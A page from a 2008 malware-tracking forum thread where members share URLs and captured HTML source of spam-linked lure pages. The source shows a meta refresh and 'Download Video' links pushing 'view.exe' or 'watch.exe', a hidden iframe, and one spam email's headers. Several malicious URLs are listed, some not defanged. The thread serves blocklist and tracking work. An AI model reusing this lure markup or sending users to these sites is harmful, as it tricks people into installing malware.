« previous next »
Pages: 1 [2] 3 4 ... 7   Go Down

Author Topic: R-thing  (Read 45080 times)

0 Members and 1 Guest are viewing this topic.

July 08, 2008, 03:28:32 pm
Reply #15

sowhat-x

  • Guest
Re: R-thing
Hmmm...Google seems to return quite a lot of results for ".com/r.html",".net/html" etc...
Stumbled upon this blog while searching around - some nice info there:
http://seo.mhvt.net/blog/
Logged
July 08, 2008, 04:25:09 pm
Reply #16

MysteryFCM

  • Administrator
  • Hero Member
  • Offline
  • *****
  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Re: R-thing
This one has interestingly, switched to direct IP;

216.73.119.74/r.html

IP PTR: 216-73-119-74.ocdc-01.net
Logged
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net
July 11, 2008, 12:02:54 pm
Reply #17

sursmurf

  • Special Access
  • Full Member
  • Offline
  • *
  • 68
Re: R-thing
Code: [Select]
http://sourdata.com/r.html
http://nepremicninebios.si/r.html
Logged
July 11, 2008, 10:33:27 pm
Reply #18

JohnC

  • Special Members
  • Hero Member
  • Offline
  • *
  • 1964
Re: R-thing
Thanks.
Logged
July 14, 2008, 11:32:05 pm
Reply #19

MysteryFCM

  • Administrator
  • Hero Member
  • Offline
  • *****
  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Re: R-thing
Switched to main.html they have;

Code: [Select]
*****************************************************************
vURL Desktop Edition v0.3.0 Results
Source code for: http://orthopaedie-kronberg.de/main.html
Server IP: 81.169.145.68 [ w04.rzone.de ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Not Listed
Date: 15 July 2008
Time: 00:31:14:31
*****************************************************************
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<META HTTP-EQUIV="refresh" CONTENT="5;URL=view.exe">
<title></title>
</head>

<body style="background:#ffffff;">
<iframe src="00.html" style="display:none"></iframe>
<div style="text-align:center; padding-top:50px;">
<a href="view.exe" style="font-weight:bold;"><img src="movie.gif" style="border:0px;"></a><br>
<br>
<a href="view.exe" style="font-weight:bold;">Download Video</a>

</div>
</body>
</html>
Logged
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net
July 14, 2008, 11:42:01 pm
Reply #20

MysteryFCM

  • Administrator
  • Hero Member
  • Offline
  • *****
  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Re: R-thing
Complete list of those I've received thus far ......
Logged
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net
July 15, 2008, 09:47:25 am
Reply #21

MysteryFCM

  • Administrator
  • Hero Member
  • Offline
  • *****
  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Re: R-thing
Updated
Logged
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net
July 15, 2008, 01:43:09 pm
Reply #22

philipp

  • Special Members
  • Sr. Member
  • Offline
  • *
  • 218
Re: R-thing
another:

hxxp://naltros7.com/main.html
Logged
July 15, 2008, 07:40:27 pm
Reply #23

JohnC

  • Special Members
  • Hero Member
  • Offline
  • *
  • 1964
Re: R-thing
Thank you.
Logged
July 15, 2008, 08:19:59 pm
Reply #24

MysteryFCM

  • Administrator
  • Hero Member
  • Offline
  • *****
  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Re: R-thing
They've switched again;

Code: [Select]
*****************************************************************
vURL Desktop Edition v0.3.0 Results
Source code for: http://www.zaragozagolfa.es/about.html
Server IP: 82.194.66.173 [ vlc-147.dns-servicios.com ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Not Listed
Date: 15 July 2008
Time: 21:20:02:20
*****************************************************************
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<META HTTP-EQUIV="refresh" CONTENT="5;URL=watch.exe">
<title></title>
</head>

<body style="background:#ffffff;">
<iframe src="00.html" style="display:none"></iframe>
<div style="text-align:center; padding-top:50px;">
<a href="watch.exe" style="font-weight:bold;"><img src="movie.gif" style="border:0px;"></a><br>
<br>
<a href="watch.exe" style="font-weight:bold;">Download Video</a>

</div>

<!-- Start of StatCounter Code -->
<script type="text/javascript">
sc_project=3777076;
sc_invisible=1;
sc_partition=40;
sc_security="dd0c06c0";
</script>

<script type="text/javascript" src="http://www.statcounter.com/counter/counter.js"></script><noscript><div
class="statcounter"><a href="http://www.statcounter.com/free_hit_counter.html" target="_blank"><img
class="statcounter" src="http://c41.statcounter.com/3777076/0/dd0c06c0/1/" alt="hit counter" ></a></div></noscript>
<!-- End of StatCounter Code -->

</body>
</html>
Logged
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net
July 15, 2008, 09:31:30 pm
Reply #25

MysteryFCM

  • Administrator
  • Hero Member
  • Offline
  • *****
  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Re: R-thing
Updated list
Logged
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net
July 17, 2008, 10:50:16 am
Reply #26

philipp

  • Special Members
  • Sr. Member
  • Offline
  • *
  • 218
Re: R-thing
hxxp://compassestate.com/about.html
Logged
July 17, 2008, 12:09:35 pm
Reply #27

philipp

  • Special Members
  • Sr. Member
  • Offline
  • *
  • 218
Re: R-thing
switched to news.html

email source:
Code: [Select]
Return-Path: <emukurup_1995@ryonet.net>
X-Original-To: mail@xxx.de
Delivered-To: mail@xxx.de
X-policyd-weight: DYN_NJABL=ERR NOT_IN_SBL_XBL_SPAMHAUS=-1.5 NOT_IN_SPAMCOP=-1.5 NOT_IN_BL_NJABL=-1.5 CL_IP_EQ_HELO_IP=-2 (check from: .ryonet. - helo: .p5b0f9a37.dip0.t-ipconnect. - helo-domain: .t-ipconnect.)  FROM/MX_MATCHES_NOT_HELO(DOMAIN)=1 <client=91.15.154.55> <helo=p5b0f9a37.dip0.t-ipconnect.de> <from=emukurup_1995@ryonet.net> <to=mail@xxx.de>, rate: -5.5
Received: from p5B0F9A37.dip0.t-ipconnect.de (p5B0F9A37.dip0.t-ipconnect.de [91.15.154.55])
by family.xxx.de (Postfix) with ESMTP id 246169FA009E
for <mail@xxx.de>; Thu, 17 Jul 2008 14:02:34 +0200 (CEST)
To: mail@xxx.de
Subject: Heart transplant kid kills 10, shots himself
From: Kiva <emukurup_1995@ryonet.net>
Content-Type: text/plain; format=flowed; delsp=yes; charset=koi8-r
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Date: Thu, 17 Jul 2008 14:06:18 +0300
Message-ID: <kf.jinnlmsppgbhwj@name-ddyxsi6djk>
User-Agent: Opera Mail/9.50 (Win32)
X-DSPAM-Result: Spam
X-DSPAM-Processed: Thu Jul 17 14:02:44 2008
X-DSPAM-Confidence: 0.8525
X-DSPAM-Probability: 1.0000
X-DSPAM-Signature: 487f34e4178171492418586

Learn how to extend iPhone battery life
http://www.proximma.com/news.html

--
Using Opera's revolutionary e-mail client: http://www.opera.com/mail/


hxxp://www.proximma.com/news.html
Code: [Select]
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<META HTTP-EQUIV="refresh" CONTENT="5;URL=watch.exe">
<title></title>
</head>

<body style="background:#ffffff;">
<iframe src="00.html" style="display:none"></iframe>
<div style="text-align:center; padding-top:50px;">
<a href="watch.exe" style="font-weight:bold;"><img src="movie.gif" style="border:0px;"></a><br>
<br>

<a href="watch.exe" style="font-weight:bold;">Download Video</a>
</div>
</body>
</html>
Logged
July 17, 2008, 12:43:07 pm
Reply #28

philipp

  • Special Members
  • Sr. Member
  • Offline
  • *
  • 218
Re: R-thing
hxxp://www.hila-la.co.il/news.html
hxxp://barrenetxea.com/news.html
Logged
July 17, 2008, 08:13:52 pm
Reply #29

MysteryFCM

  • Administrator
  • Hero Member
  • Offline
  • *****
  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Re: R-thing
Updated ...
Logged
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net
Pages: 1 [2] 3 4 ... 7   Go Up
« previous next »